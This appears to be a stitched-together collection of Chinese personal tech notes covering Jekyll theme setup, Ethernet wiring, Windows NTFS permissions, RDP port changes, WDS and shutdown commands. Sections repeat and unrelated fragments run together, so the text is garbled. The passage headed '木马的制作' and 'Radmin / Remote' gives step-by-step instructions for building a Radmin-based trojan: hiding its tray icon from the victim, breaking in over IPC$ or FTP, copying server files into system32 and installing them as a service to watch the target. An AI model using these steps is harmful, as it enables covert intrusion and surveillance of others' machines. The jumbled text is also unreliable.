本文前提: 存在一些.md 博客文件 有tags: Misc, Jekyll, Bootstrap, jQuery, AJAX 有categories: code, codddd, codasfa, jekyll, update —

★★★★★ GithubPages+Jekyll模板中各类型对象的方法介绍 ★★★★★

变量分析 直接看 输出内容: 变量分析 直接看 输出内容: 变量分析 直接看 输出内容:

site 变量

  Jekyll::Drops::SiteDrop          // Jekyll::Drops::SiteDrop   没啥用.
  一大一小.

大的透明. 小的显示.

大的 根据小的位置移动而移动.

z-index…

jekyll server watch

还爱晃点### A beautiful Theme

Author: Willian Justen. Theme Link
 

<hr>

主题使用:

  • 下载 / Clone 到本地

  • 修改 config.yml   主要修改baseurl属性和markdown属性。

把根目录改成空 baseurl: "" # the subpath of your site, e.g. /blog/

不然的话 jekyll server 之后 你得用 http://127.0.0.1:4000/+你baseurl 后面的路径才能访问

layout: post
title: "How to Use"
date: 2016-05-08 20:35:48
image: '/assets/img/'
description: 'How to use this template 33'
main-class: 'misc'
color: '#7AAB13'
tags:
- misc
- jekyll
categories:
twitter\_text: 'How to use this template 33'
introduction: 'How to use this template 33'

\@: Jekyll 主题

主题网站:

Jekyll Themes Jekyll Blog Themes 精选

Start Bootstrap 主题博客的主站 制作精良的 Jekyll 主题。优质主题已在前述清单里推荐,分别为 Clean Blog 及 Business Casual。

最好自己做.

别人的普遍太丑. 探索很累 也花时间…

用别人的主题 . 自己就对jekyll 文档结构不太熟悉.不能自己修改.

html css js 前端知识的不足 也会浪费时间…

主题包括 • 博客界面截图 • 创作者个人信息 • 主题描述 • 个人评分 • 可访问的博客站点地址 Live Demo • 可直接 Fork 和配置的 GitHub 仓库源码地址。

Description:有题图的博客主题。布局简约,页面显示清晰,加载速度快,移动端适配友好。

有动态效果的博客主题。界面优雅,页面模块多样。略微复杂,加载稍慢。

大图作为博客整个背景的主题。有不错的图片展示框。博文输出功能可能有小状况,需自己调配后才能用。

简约风格,偏重博客标题的展示。加载速度蛮快。

 Jelyll 自定义主题

主题设计很简单:
首页+归档+关于+链接页面.

修改 config.yml file.

• 站点信息: 例如站点标题、描述、关键字等 SEO 相关,默认 URL 链接和 RSS 链接。 • 菜单: 想要自定义菜单,排序?都可以。 • 作者信息: 包括邮箱,简介,详细介绍等。 • 社交: 因为每一个社交图标,都是 Font-Awesome 字体,所以需要先了解下每个图标的名字。 • 友情链接: 可以定义很多项,最后在 Links 页面出现。 • 谷歌分析: 只要输入您的 UA 就可以。 • 评论: 两种评论系统可以选择,disqus 和 duoshuo。

title 网页标题. emai 自己的邮箱 description: 网站描述 baseurl 根目录 markdown: kramdown theme: minima.

 响应式设计,多终端可以查看博客哦。

添加 Category 和 Tag 功能。

The Theme features (特点):

  • Gulp
  • Stylus (Jeet, Rupture, Kouto Swiss)
  • Live Search
  • Offcanvas Menu
  • SVG icons
  • Very very small and fast!
  • Shell Script to create posts
  • Tags page
  • Series page
  • About Me page
  • Feed RSS
  • Sitemap.xml
  • Color Customization
  • Info Customization

Basic Setup

  1. Install Jekyll
  2. Fork the Will Jekyll Template
  3. Clone the repo to location that you just forked.
  4. Edit _config.yml to personalize your site.
  5. Check out the sample posts in _posts to see examples for assigning categories and tags, and other YAML data.
  6. Read the documentation below for further customization pointers and documentation.

Site and User Settings

You have to fill some informations on _config.yml to customize your site.

# Site settings
description: A blog about lorem ipsum dolor sit amet
baseurl: "" # the subpath of your site, e.g. /blog/
url: "http://localhost:3000" # the base hostname & protocol for your site 

# User settings
username: Lorem Ipsum
user_description: Anon Developer at Lorem Ipsum Dolor
user_title: Anon Developer
email: anon@anon.com
twitter_username: lorem_ipsum
github_username:  lorem_ipsum
gplus_username:  lorem_ipsum
disqus_username: lorem_ipsum

Header Name

To use the power of CSS Content and media query, the header name is defined on src/styl/_header.styl. Change to your prefered name.

Color customization

All color variables are in src/styl/variable.
To change the main color, just set the new value at main assignment. Another colors are for texts and the code background color.


Theme Colors

自定义主题颜色.
修改theme-color.styl文件就可以 添加自己的颜色.
比如 第七行 下面加 青色.
post-aqua: #00FFFF, post-orange: #FFA500,

然后新建.md
main-class: ‘aqua’

这就把 标记名字改了. 实际颜色没改 原因未知.

Every post has a main color that is defined on src/styl/_theme-colors.styl. Just create a new color with the prefix post- and define your main-class: ‘css’ and color: ‘#2DA0C3’ on every post you create.

Creating posts

You can use the initpost.sh to create your new posts. Just follow the command:

./initpost.sh -c Post Title

The new file will be created at _posts with this format date-title.md.


Front-matter 头部信息

每新建一篇文章(blog), 都需要把 特别的头信息.放到新文章中.

Example:

layout: post
title: "Falando sobre RSCSS"
date: 2016-02-07 18:48:16
image: '/assets/img/rscss/rscss.png'
description: 'Escrevendo CSS sem perder a sanidade. Aprenda uma metodologia que pode salvar muitas dores de cabeça.'
main-class: 'css'
color: '#2DA0C3'
tags:
- css
- metodologia
- frontend
categories:
twitter_text: 'Escrevendo CSS sem perder a sanidade.'
introduction: 'Escrevendo CSS sem perder a sanidade. Com essa introdução, Rico St. Cruz o criador chama a atenção de todos sobre uma metodologia melhor para se escrever CSS.'

\@: 网线 网线,八根铜导线, 为了减少电磁信号的相互干扰, 每两根按一定的密度缠绞在一起。这样, 在传输电号时相互之间辐身出的电波就会相互抵消, 有效的消除干扰。双绞线这个名字也是因为这样的结构而引伸出来的。在外部, 有一层韧性及高的保护外皮保护。双绞线最早的使用是被用于电话信号的传输, 后来才被渐渐引入到数字信号的传输当中, 在很久以前, 我们基本上都是使用的3 类双绞线, 最大只能达到16Mbps 的带宽, 而现在我们在计算机网络中广泛使用的都是超五类双绞线及六类双绞线。最大能达1000Mbps 的带宽。双绞线唯一的缺点就是传输距离较短, 只能达到100 米, 所以在布线的时候, 如果使用星型拓朴结构,覆盖的范围只能达到200*200 米。   1000M 网卡数据传输是双向的, 需要使用四对线, 即8 根芯线。100M 以下, 一般使用1 、2 、3 、6 , 四根线。按标准是橙色、绿色共四根线。其中1 、3 一组,2 、6 一组4 、5 为备用线7 、8 则为电话线。 T568A 标准连线顺序从左到右依次为:1 - 绿白、2 - 绿、3 - 橙白、4 - 蓝、5- 蓝白、6- 橙、7- 棕白、8- 棕。   T568B 标准连线顺序从左到右依次为:1 - 橙白、2 - 橙、3 - 绿白、4 - 蓝、5- 蓝白、6- 绿、7- 棕白、8- 棕。 1 输出数据(+) 2 输出数据(-) 3 输入数据(+) 4 保留为电话使用 5 保留为电话使用 6 输入数据(-) 7 保留为电话使用 8 保留为电话使用 由此可见, 虽然双绞线有8 根芯线, 但在目前广泛使用的百兆网络中, 实际上只用到了其中的4 根, 即第1 、第2 、第3 、第6 , 它们分别起着收、发信号的作用。于是有了新奇的4 芯网线的制作, 也可以叫做1 -3 、2-6 交叉接法, 这种交叉网线的芯线排列规则是: 网线一端的第1脚连另一端的第3 脚, 网线一端的第2 脚连另一端的第6 脚, 其他脚一一对应即可, 也就是在上面介绍的交叉线缆制作方法中把多余的4根线抛开不要。

网上邻居

 \1. 看本地连接属性, 是否装了 网络文件和打印机共享.    \2. 控制面板-管理工具-本地安全策略-本地策略-用户权限   从网络访问此计算机 加入guest   从拒绝从网络访问这台计算机 删除 guest     \3. 重启.    

电脑蓝牙问题 提示要格式化   去电脑的开始下面的附件 找到命令工具  右键  管理员运行 进去 输入 chkdsk e: /f                e是盘符   /f 是修复命令.  

gpedit.msc 然后 用户配置-管理模版-网络 启用 下面2项       禁止访问lan连接的属性       为管理员启用xp的网络连接属性

 cmd diskpart list disk select disk3 list partition select partition1 format fs=exfat label=“new” unit=1024 quick   ok

文件权限

局域网

电脑 IBM 共享一个文件夹. 域管理员能 直接看!!!

域成员肯定没权限看.

2,

访问控制器: Windows 操作系统通过将用户帐户和组成员身份匹配与其关联的权利、特权和权限,帮助防止在未经授权的情况下使用文件、应用程序和其他资源。

访问控制 授权用户、组 访问网络或者本地电脑 对象的过程.

对象: 文件 打印机 其他资源.

访问令牌

访问控制表 ACL

访问控制项 ACE

使用者 (用户 或 程序)

操作系统

权限

用户权限 特权.

使用访问控制用户界面,可以设置文件、Active Directory 对象、注册表对象或诸如进程之类的系统对象等的 NTFS 权限。权限可以授予任何用户、组或计算机。将权限分配给组非常有用,因为它可以在验证对象访问时改进系统性能

对于任何对象,都可以向下列内容授予权限: · 组、用户以及域中包含安全标识符的其他对象。

· 该域或任何受信任域中的组和用户。

· 对象所在的计算机上的本地组和用户。

这些公用权限有: · 读取

· 修改

· 更改所有者

· 删除

设置权限时,可以指定组和用户的访问级别。

例如,您可以允许一个用户读取文件的内容,允许另一个用户修改该文件,同时防止所有其他用户访问该文件。

可以在打印机上设置相似的权限,这样某些用户便可以配置打印机而其他用户仅能使用打印机进行打印。

当您需要更改文件的权限时,可以运行“Windows 资源管理器”,右键单击文件名,单击“属性”。在“安全”选项卡上,可以更改文件的权限。有关详细信息,请

另一种权限称为共享权限,可通过文件夹的“属性”页的“共享”选项卡或使用共享文件夹向导进行设置。有关详细信息,请参阅文件服务器上的共享权限和 NTFS 权限。

对象的所有权 所有者被默认为对象的创建者。 不管为对象设置什么权限,对象的所有者总是可以更改对象的权限。有关详细信息,请参阅管理对象所有权。

权限的继承 继承使得管理员易于指派和管理权限。该功能自动使容器中的对象继承该容器的所有可继承权限。例如,文件夹中的文件,一经创建就继承了文件夹的权限。只继承标记为要继承的权限。

用户权限和特权 用户权限授予计算环境中的用户和组特定的特权和登录权限。管理员可以向组帐户或单个用户帐户分配特定权限。这些权限授权用户执行特定操作,如交互登录到系统或备份文件和目录。 用户权利与权限不同,因为用户权利应用于用户帐户,而权限附加到对象。虽然用户权利可以应用于单个用户帐户,但用户权利最好在组帐户基础上进行管理。访问控制用户界面中不支持授予用户权利;但可以通过“本地策略\用户权限分配”下的“本地安全策略”管理单元来管理用户权利分配。有关详细信息,请参阅用户权限和特权。

对象审核 拥有管理员权限后,可以审核用户对对象的访问是成功还是失败。您可以使用访问控制用户界面来选择要审核的对象访问,但必须先通过选择“本地安全策略”管理单元中“本地策略\审核策略\本地策略”下的“审核对象访问”来启用审核策略。然后可以在事件查看器的安全日志中查看这些与安全相关的事件。

访问文件夹 通过两组权限来确定:

共享文件 通常用于管理 不是 NTFS 文件系统的计算机

共享权限 和 NTFS 权限是独立的!! 不能彼此更改.

文件夹的最终访问权 是 考虑共享权限和 NTFS 权限后 才确定的.最后才应用更严格的权限.

共享权限

NTFS 权限

文件夹类型

公共文件夹 每个人都能访问.

放置文件夹 只有 管理员 或者老师 可读的 机密报告 或者 家庭作业. User 组 更改. 组管理员 完全控制.

应用程序文件夹.

可读取+ 执行.

列出文件夹内容.

主文件夹: 每个用户的个人文件夹. 只有用户 拥有该文件夹的访问权

完全控制: 使用要小心.

如果希望只使用 NTFS 权限管理文件夹访问权限,应将 Everyone 组的共享权限设置为“完全控制”。

• NTFS 权限影响本地和远程访问。NTFS 权限的应用与协议无关。相反,“共享”权限只适用于网络共享。共享权限不限制已设置了共享权限的计算机上的任何本地用户或任何终端服务器用户访问。因此,对于由多个用户使用的计算机上的用户,以及由多个用户访问的终端服务器上的用户,共享权限不确保他们之间的信息保密。

• 默认情况下,Everyone 组不包括“匿名”组,因此应用于 Everyone 组的权限在“匿名”组中不起作用。

查看文件 / 文件夹权限.

创建一个文件夹后 win 会自动分配默认权限.

读取 是 最小的权限.

查看文件有效权限: → 属性 →安全→ 高级→有效权限→选择 → 用户/ 用户组名字 →

管理对象 所有权. 每个对象 都有 一个 所有者.

修改文件夹权限 必须先取得 文件所有权

需要修改或更改文件权限的管理员必须首先取得文件所有权。

默认情况下,所有者是创建对象的实体。所有者始终可以更改对象的权限,即使已拒绝所有者到对象的所有访问。 如下人员可以取得所有权: · 管理员。默认情况下,管理员组拥有“取得文件或其他对象的所有权”用户权利。

· 具有对象的“取得所有权”权限的任何用户或组。

· 具有“存储文件和目录”用户权利的用户。

所有权可以用以下方式转换: · 当前所有者可向其他用户授予“取得所有权”权限,前提是该用户是当前所有者的访问令牌中定义的组成员。该用户必须实际取得所有权才能完成所有权的转移。

· 管理员可以取得所有权。

· 拥有“存储文件和目录”用户权利的用户可以双击“其他用户和组”并选择任意用户或组来向其分配所有权。

· 管理员可以获得计算机中任何文件的所有权。

· 分配文件或文件夹的所有权可能要求您使用“用户访问控制”提升您的权限。

· 若要打开 Windows 资源管理器,请单击“开始”,指向“所有程序”,单击“附件”,然后单击“Windows 资源管理器”。

· 可以用两种方式转移所有权:

· 当前的所有者可以向其他用户授予“取得所有权”权限,允许这些用户随时取得所有权。被授予“取得所有权”权限的用户可以取得对象的所有权,或向其所在的任何组分配所有权。

· 拥有“存储文件和目录”权限的用户可以双击“其他用户和组”并选择任意用户和组来向其分配所有权。

• Everyone 组不再包括 Anonymous Logon 组。

其他参考

网络的每个容器和对象都有一组附加的访问控制信息。该信息称为安全描述符,它控制用户和组允许使用的访问类型。权限是在对象的安全描述符中定义的。权限与特定的用户和组相关联,或者是指派到特定的用户和组。

显式权限和继承权限 有两种权限类型:显式权限和继承权限。 · 显式权限是那些在创建非子对象时在这些对象上默认设置的权限,或在非子对象、父对象或子对象上由用户操作设置的权限。

· 继承权限是从父对象传播到对象的权限。继承权限可以减轻管理权限的任务,并且确保给定容器内所有对象之间的权限一致性。

默认情况下,容器中的对象在创建对象时从该容器中继承权限。例如,当您创建名为 MyFolder 的文件夹时,MyFolder 中创建的所有子文件夹和文件会自动继承该文件夹的权限。因此,MyFolder 具有显式权限,而其中的所有子文件夹和文件都具有继承权限。

如果对象具有显式“允许”权限条目,则继承的“拒绝”权限不阻止对该对象的访问。显式权限比继承权限(包括继承的“拒绝”权限)的优先级高。

文件 文件夹 权限

无论使用什么权限保 护文件,被授予对文件夹的“完全控制”权限的组或用户都可删除该文件夹中的任何文件。

遍历文件夹 执行文件 列出文件夹 读取数据 读取属性 读取扩展属性 创建文件 / 写入数据 创建文件夹 附加数据 写入 写入扩展 删除子文件夹 及 文件 删除 读取权限 更改 取得所有权 同步

https://technet.microsoft.com/zh-cn/library/cc732880.aspx

完全控制 拥有全部权限 修改: 不能删除文件 及 文件夹. 不能更改权限. 不能取得所有权.

读取&执行: 文件列表 文件属性 读取文件 运行程序

读取: 文件夹列表 文件属性. 读取权限

写入: 创建文件 文件夹 写入属性? 读取

继承权限是从父对象传播到对象的权限。继承权限可以减轻管理权限的任务,并且确保给定容器内所有对象之间的权限一致性。

如果访问控制用户界面各个部分中的“允许”和“拒绝”权限复选框在您查看对象的权限时显示为灰色,

有以下三种推荐方式可对继承权限进行更改: · 对明确定义权限的父对象进行更改,然后子对象将继承这些权限。有关详细信息,请参阅设置、查看、更改或删除对象上的权限。

· 选择“允许”权限替代继承的“拒绝”权限。

· 清除“包括可从该对象的父项继承的权限”复选框。然后便可对权限进行更改或删除“权限”列表中的用户或组。但是,该对象将不再从其父对象继承权限。

https://technet.microsoft.com/zh-cn/library/cc753659.aspx

如果对象具有显式“允许”权限条目,则继承的“拒绝”权限不阻止对该对象的访问。显式权限比继承权限(包括继承的“拒绝”权限)的优先级高。

修改3389端口 (XP & Win003)

目的:为了避免别人扫描远程桌面连接端口,保障服务器的安全.

总共两个步骤: (XP Window003 亲测可用.)

  • 服务器 修改两处注册表

    注意:两次修改的端口要一致。事实上,只修改第二处也是可以的

win+R redegit 展开注册表到

HKEY_LOCAL_MACHINESYSTEMCurrentControlSet
ControlTerminal Server

  1. 第一处:→ Wds → rdpwd → Tds → tcp

    1. 第二处:→ WinStations → RDP-Tcp

      PortNumber值,默认是3389,选择十进制,改成你所希望的端口 (范围在1024到65535,而且不能冲突.比如2190)

      1. 重启系统使设置生效。
    • 客户端连接方法

      1. 打开远程桌面连接:XP/2003下在运行里输入”mstsc”)即可。
        1. 连接的格式:IP:修改后的端口,如10.10.10.10:2190

Windows Server

上网弹框 问题    !!!!!!!!!!!!!

 

  • Reason : Windows Server 2008系统新增加了IE增强安全配置功能

  • Solution :

    1. 开始 → 程序 → 管理工具 → 服务器管理器 → 命令 → 安全信息设置项 → 单击 配置IE ESC 选项
      1. 管理员下 → 选中”禁用“选项,
        1. 用户下 →选中”禁用“选项,
          1. 确定. 这样 就能将IE增强安全配置功能临时关闭了。这样重启浏览器后再打开网页就不会出现安全提示!

Windows 2008

  1. 服务器管理
  2. IIS
  3. 虚拟化
  4. 增强的终端服务
  5. windows powershell 是一种集成了100多种工具的脚本语言,有了它,我们可以自动化执行AD,Terminal Service等系统管理任务,而且Windows PowerShell不需要学习编程语言,入门简单

  6. Bitlocker 驱动器加密
  7. 网络保护访问 NAP 使用NAP要求用户所使用的操作系统需要在XP SP3版本以上。网络管理员可以自定义一些要求,让不符合要求的用户不能访问网络。NAP支持4种网络访问技术,分别是IPSec强制,802.1X强制,路由和远程访问的VPN强制,DHCP强制。

  8. RODC
  9. Server Core 只安装核心的模块,Server Core模式不具有图形界面,所有的操作都是通过命令实现,主要用于安装DHCP,DNS等服务

  10. 防火墙高级安全. 防火墙高级安全功能可以使网络管理员根据配制来允许或者阻止某些网络通信,保护网络免遭恶意入侵,而且防火墙具有双向功能,可以拦截传入和付传出的通信。

WDS 远程安装.

WDS & PXE

WDS: WindowsDeployment Services Windows部署服务

类似于Linux系统的PXE,用来批量部署Windows操作系统

WDS 组件:

  1. 服务器组件。 用于网络启动客户端的PXE服务器和TFTP服务器,以加载并安装操作系统。此外还包括一个共享文件夹和映像存储库,其包含网络启动所需要的启动映像、安装映像及文件。Windows Server 2008的WDS不但提供了PXE的支持,对用于传输启动映像的TFTP等协议也进行了优化,能够提供更快的PXE启动速度。
  2. 客户端组件。 WDS为我们提供了一个集中化管理操作系统和启动映像的类MMC统一界面。在此可以方便的设置WDS、添加/删除操作系统和启动映像。此外也可以用来捕获已安装好的计算机操作系统。
  3. 管理组件。 包括WDS管理控制台和命令行工具,他们可以用于管理服务器,操作系统映像和客户端计算机帐户。利用WDS多播部署,可以将操作系统同时快速部署到多台计算机中,这个是绝对实用的功能。 值得关注的是,在Windows Server 2008的WDS中使用的基于文件的WIM格式,和我们平时使用的Ghost等工具不同,Ghost等工具是基于磁盘的。由于是基于文件,所以WIM格式的映像可以在不破坏原有磁盘文件系统的情况下对系统进行恢复,且占用空间极小。

WDS 镜像类型

  1. Boot image       包括WDS client和windows pe。       位于Windows7,2008的安装光盘中,名为boot.wim。       单boot image可支持多install image。       执行安装windows系统       修复操作系统       启动镜像捕获       启动其他用途的windowsPE
  2. Installimage       类似于windows的安装光盘       Windows7/2008光盘\source\install.wim       Windowsvista:sysprep /oobe /generalize /reboot,然后进行捕获       Windowsxp:sysprep –mini –reseal –reboot,然后进行捕获

1.3 WDS安装条件       ActiveDirectory 服务器       DHCP 服务器       DNS服务器       WDS 服务器       模版计算机(主要针对windowsvista之前操作系统时使用)

WDS部署       2.1部署步骤        配置WDS安装,要进行如下步骤: 1)配置AD服务器:WDS依赖于AD,这是硬性要求。 2)配置DHCP服务器:为网卡启动的客户端分配IP地址。 3)配置DNS服务器:相应域内主机的IP解析。 4)配置WDS服务器:系统部署的核心应用。

每个代码可以添加两个class. 一个是 config配置文件里的 高亮名. 一个就是写在md 结尾 大括号里面的高亮名. 这两个名字 都会加到 div class中

4 css


	.highlight-wrap[rel]::before {
	  color: #fff;
	  content: attr(rel);
	  height: 38px;
	  line-height: 38px;
	  verticle color: #fff;
	  font-size: 16px;
	  position: absolute;
	  top: 0;
	  left: 0;
	  width: 100%;
	  font-family: 'Source Sans Pro',sans-serif;
	  font-weight: 700;
	  padding: 0 80px;
	  text-indent: 15px;
	  float: left

5 js ✔︎


	$(function(){
	  $("#topbarPre" ).click(function(){  $("#prePost" )[0].click();  });
	  $("#topbarNext").click(function(){  $("#nextPost")[0].click();  });
	});
	

js ✔︎


	  $(document).pjax("a", '#contentDiv', { fragment: '#contentDiv', timeout:18000}	);
	  $(document).on('pjax:start', function() { NProgress.start(); });
	  $(document).on('pjax:end',   function() { NProgress.done(); showSideStructure(); hljs.initHighlightingOnLoad();  });

html ✗

就是输出不来啊… 就算编程 代码块.也会执行啊. 难道要用 .. 实体字符..




	

html 源代码: 加双引号 正常显示.

<div id="lineLeft"> 
  <div class="lineFlex">
	<div id="lineLeft-left">  </div>
	  <div class="lineInDiv"> </div> 
	<div id="lineLeft-right"> </div>
  </div>
</div>

html 源代码: 双引号+ code 源码 出错 无显示…

<div id="lineLeft"> 
  <div class="lineFlex">
	<div id="lineLeft-left">  </div>
	  <div class="lineInDiv"> </div> 
	<div id="lineLeft-right"> </div>
  </div>
</div>

图片: md 源文件

(http://oduizitoj.bkt.clouddn.com/2017-02-10-Screen%20Shot%202017-02-10%20at%2020.07.08.png)

<div id="lineLeft"> 
  <div class="lineFlex">
	<div id="lineLeft-left">  </div>
	  <div class="lineInDiv"> </div> 
	<div id="lineLeft-right"> </div>
  </div>
</div>

WDS & PXE

WDS: WindowsDeployment Services Windows部署服务

类似于Linux系统的PXE,用来批量部署Windows操作系统

WDS 组件:

  1. 服务器组件。 用于网络启动客户端的PXE服务器和TFTP服务器,以加载并安装操作系统。此外还包括一个共享文件夹和映像存储库,其包含网络启动所需要的启动映像、安装映像及文件。Windows Server 2008的WDS不但提供了PXE的支持,对用于传输启动映像的TFTP等协议也进行了优化,能够提供更快的PXE启动速度。
  2. 客户端组件。 WDS为我们提供了一个集中化管理操作系统和启动映像的类MMC统一界面。在此可以方便的设置WDS、添加/删除操作系统和启动映像。此外也可以用来捕获已安装好的计算机操作系统。
  3. 管理组件。 包括WDS管理控制台和命令行工具,他们可以用于管理服务器,操作系统映像和客户端计算机帐户。利用WDS多播部署,可以将操作系统同时快速部署到多台计算机中,这个是绝对实用的功能。 值得关注的是,在Windows Server 2008的WDS中使用的基于文件的WIM格式,和我们平时使用的Ghost等工具不同,Ghost等工具是基于磁盘的。由于是基于文件,所以WIM格式的映像可以在不破坏原有磁盘文件系统的情况下对系统进行恢复,且占用空间极小。

WDS 镜像类型

  1. Boot image       包括WDS client和windows pe。       位于Windows7,2008的安装光盘中,名为boot.wim。       单boot image可支持多install image。       执行安装windows系统       修复操作系统       启动镜像捕获       启动其他用途的windowsPE
  2. Installimage       类似于windows的安装光盘       Windows7/2008光盘\source\install.wim       Windowsvista:sysprep /oobe /generalize /reboot,然后进行捕获       Windowsxp:sysprep –mini –reseal –reboot,然后进行捕获

1.3 WDS安装条件       ActiveDirectory 服务器       DHCP 服务器       DNS服务器       WDS 服务器       模版计算机(主要针对windowsvista之前操作系统时使用)

WDS部署       2.1部署步骤        配置WDS安装,要进行如下步骤: 1)配置AD服务器:WDS依赖于AD,这是硬性要求。 2)配置DHCP服务器:为网卡启动的客户端分配IP地址。 3)配置DNS服务器:相应域内主机的IP解析。 4)配置WDS服务器:系统部署的核心应用。

代码高亮设置

代码块 最上面必须空一行!!!! 不然无效….

代码块!!! → 无高亮

├── _config.yml
├── _includes
│ ├── …
├── _layouts
│ ├── default.html
│ ├── page.html
│ └── post.html
├── _posts
│ ├── …
├── _sass
│ ├── _base.scss
│ ├── _layout.scss
│ └── _syntax-highlighting.scss
├── about.md
├── css
│ └── main.scss
├── feed.xml
└── index.html

结构: div → pre → code .

div : class=”highlighter-rouge” pre: calss= highlight code: 无class

代码块+高亮!!! → 有高亮

├── _config.yml
├── _includes
│ ├── …
├── _layouts
│ ├── default.html
│ ├── page.html
│ └── post.html
├── _posts
│ ├── …
├── _sass
│ ├── _base.scss
│ ├── _layout.scss
│ └── _syntax-highlighting.scss
├── about.md
├── css
│ └── main.scss
├── feed.xml

源代码+高亮.language-ruby →有高亮

.
├── _config.yml
├── _includes
│ ├── …
├── _layouts
│ ├── default.html
│ ├── page.html
│ └── post.html
├── _posts
│ ├── …
├── _sass
│ ├── _base.scss
│ ├── _layout.scss
│ └── _syntax-highlighting.scss
├── about.md
├── css
│ └── main.scss
├── feed.xml
└── index.html

结构: div → pre → code .

div : class=”highlighter-rouge language-ruby” pre: calss= highlight code: 无class

源代码+高亮.language-ruby2 → 无高亮

.
├── _config.yml
├── _includes
│ ├── …
├── _layouts
│ ├── default.html
│ ├── page.html
│ └── post.html
├── _posts
│ ├── …
├── _sass
│ ├── _base.scss
│ ├── _layout.scss
│ └── _syntax-highlighting.scss
├── about.md
├── css
│ └── main.scss
├── feed.xml
└── index.html

结构: pre → code . pre: 无 code: calss= language-ruby2

可以看出.. 正常代码要高亮. 就得安装## Shutdown

? 帮助信息 l 注销 s 关机 r 重启 h 休眠 t xxx 关闭前的超时. 默认30秒 f 强制关闭 a 取消操作.

关机&重启 :
 shutdown -s 一分钟内关闭  shutdown -s -t 0 立即关闭  shutdown -r 一分钟内重启  shutdown -r -t 0 立即重启 shutdown -r —f t 0 强制重启 重启脚本: 新建文本 直接写命令. 改成. bat 双击运行. shutdown -r -t 0

Scriptes

Windows

Shutdown

`? 帮助信息 ``l 注销 ``s 关机 ``r 重启 ``h 休眠 ``t xxx 关闭前的超时. 默认30秒 ``f 强制关闭 ``a 取消操作. `

关机&重启 :
` shutdown -s 一分钟内关闭 `` shutdown -s -t 0 立即关闭 `` shutdown -r 一分钟内重启 `` shutdown -r -t 0 立即重启 ``shutdown -r —f t 0 强制重启 ` 重启脚本: 新建文本 直接写命令. 改成. bat 双击运行. shutdown -r -t 0

cmd启动项 msconfig作用: 储存 & 验证 用户账号.

SAM 数据库默认位置:

C:\WINDOWS\system32\config

每台工作组环境下的电脑都有自己的本机安全账户数据库.

工作组电脑的登录验证过程:

开机 输入账户密码 电脑去 SAM 数据库验证. 如果账号存在 而且密码也对 那就能登录.

Radmin

  • 攻击前 先端口扫描.

由于蠕虫病毒具有自动攻击和快速繁殖的特性,因此,它占网络攻击的大约90%,通常是系统扫描或同步攻击。

  • 端口扫描在网络扫描中大约占了96%,
  • UDP(User Datagram PRotocol)占3.7%。
  • 剩余的0.3%是用户名和密码扫描、NetBIOS域登录信息和SNMP管理数据等。

因为这些攻击可能会感染所有的Windows系统。同时,在发送流量之前,要求ISP对所有的NetBIOS流量进行过滤。

端口号 服务 攻击事件数 说 明 135和445 windows rpc 分别为42次和457次 表明可能感染了最新的windows病毒或蠕虫病毒

57 email 56次 黑客利用fx工具对这个端口进行扫描,寻找微软web服务器弱点

1080,3128,6588,8080 代理服务

25 smtp服务 56次 黑客探测smtp服务器并发送垃圾邮件信号

161 snmp服务 937次 成功获得snmp可能会使黑客完全控制路由器、防火墙或交换机

1433 微软sql服务 147次 表明计算机可能已经感染了sql slammer蠕虫病毒

53 dns 1797次 表明防火墙或lan配置可能有问题

第二章 木马的制作

首先,是在安装目录下找到这3个文件。”AdmDll.dll” “r_server.exe” “raddrv.dll”把它们复制,粘贴到安全的地方。 然后,是导出注册表,方法是:开始—-运行—-输入regedit—-在打开的注册表编辑器里找到HKEY_LOCAL_MACHINE—-在该项目中找到SOFTWARE项—-在这个项目里,我们看到一个熟悉的名字Radmin,还等什么,点击选择。在注册表编辑器的工具栏里,就是左上脚,有一个注册表(R),看到吗?点击—导出注册表文件—注意保存的文件名“radmin.reg”,怎么样,你导出来了吗? 现在有了上面2步准备的4个文件,我们的木马就已经OK了。简单吧!

忘记强调,做好了木马,最后要注意移除服务哦。原因。。。呵呵

第三章 控制台的安装

建议删除刚才安装radmin2.1版本,重新下载安装radmin3.0,3.0版的画面细致,性能稳定。上面不安装3.0版的原因是,这个版现在只有控制台,没有服务端。以后推出的话,我会补充新的教程。

Radmin / Remote

Remote Administrator

把Radmin的密码,选项和安装服务设置好,并且在hide那里打上“勾”(如果不打“勾”的话,到时候入侵的时候,目标的任务栏会出现一个小托盘,这样我们就容易暴露了)

三:利用IPC$或FTP攻击目标,映射目标C盘,把本机C:\winnt\system32下的r_server.exe和admdll.dll2个文件复制到目标C盘下的winnt\system32\里面

四:开始——运行,输入:telnet,然后输入r_server /install,然后再输入:net start r_server 五:连接到目标看看是不是可以看到对方在干什么了!- -!!!## Outlook Problems

OutLook 问题 首先用 office 自带的 scanprt.exe 工具修复.

c → program file → microsoft office → office 12 → scanprt.exe (有两个软件.都试试 应该是后面一个.)

文件被谁使用: win7: 资源监视器. → CPU → 关联的句柄右边搜索 → 文件名称 → 就能看出被谁占用了.

xp: 下载软件: ProcessExplorer

un

  1. 用 内置的 收件箱修复工具 Scanpst.exe
  2. 下载专业软件: Outlook pst 修复

scanpst.exe

要修复 .pst 文件

    在“开始”菜单上,单击“运行”。     在“打开”框中,输入

    drive:\Program Files\Common Files\System\Mapi\LocaleID\scanpst.exe

文件 → 选项 →保存 → …..

  1. 以前保存过的文件 最后退出没保存.
  2. office 2010.

文件 → 信息 → 管理文档. 这里有的话就能恢复.

  1. 以前没保存过的文件 退出 没保存.
  2. 文件 信息 管理版本 → 恢复未保存文件

NTFS 权限:

Xcacls.vbs 工具 能修改+ 查看权限 xp win2000 win2003 是测试过能用的 win7 不一定

win7 需要 wmi 才能用 这个脚本. wmi windows management instrumentation windows 管理工具.

管理数据和 操作的基础模块. 可以用这个去管理本地或者远程计算机上的资源.

下载 exe 解压出来一个 xcacls.bs 文件 将脚本引擎 从 wscript 改为 cscript 因为这个脚本最适合在 cscript 下运行 改脚本引擎 值影响 脚本向屏幕写入的方式 Wscript 根据对话框 封包写入每一行 Cscript 将每一行命令写入命令窗口.

如果不想换脚本引擎 那么 必须: cscript.exe xcacls.vbs

如果改了 只需: xcacls.vbs

查看语法命令: xcacls.vbs /?

如: 看 c:\test 文件夹权限 xcacls.vbs c:\test

这个 需要 打开终端 输入 cscript.exe /h:cscript

然后 cmd 定位到 xcacls.vbs 所在的文件夹 然后终端输入 xcacls.vbs 就正常运行了, 就是右键属性 高级 安全 下面的具体权限 只是这个 是文本 可以导出文件而已…..

1 看某个文件夹 某人/组 的具体权限 属性 → 安全 →高级 → 有效权限

2 某对象(文件/文件夹) 关联的 NTFS 权限

用命令 cacls d:\xx.txt cacls i:\office

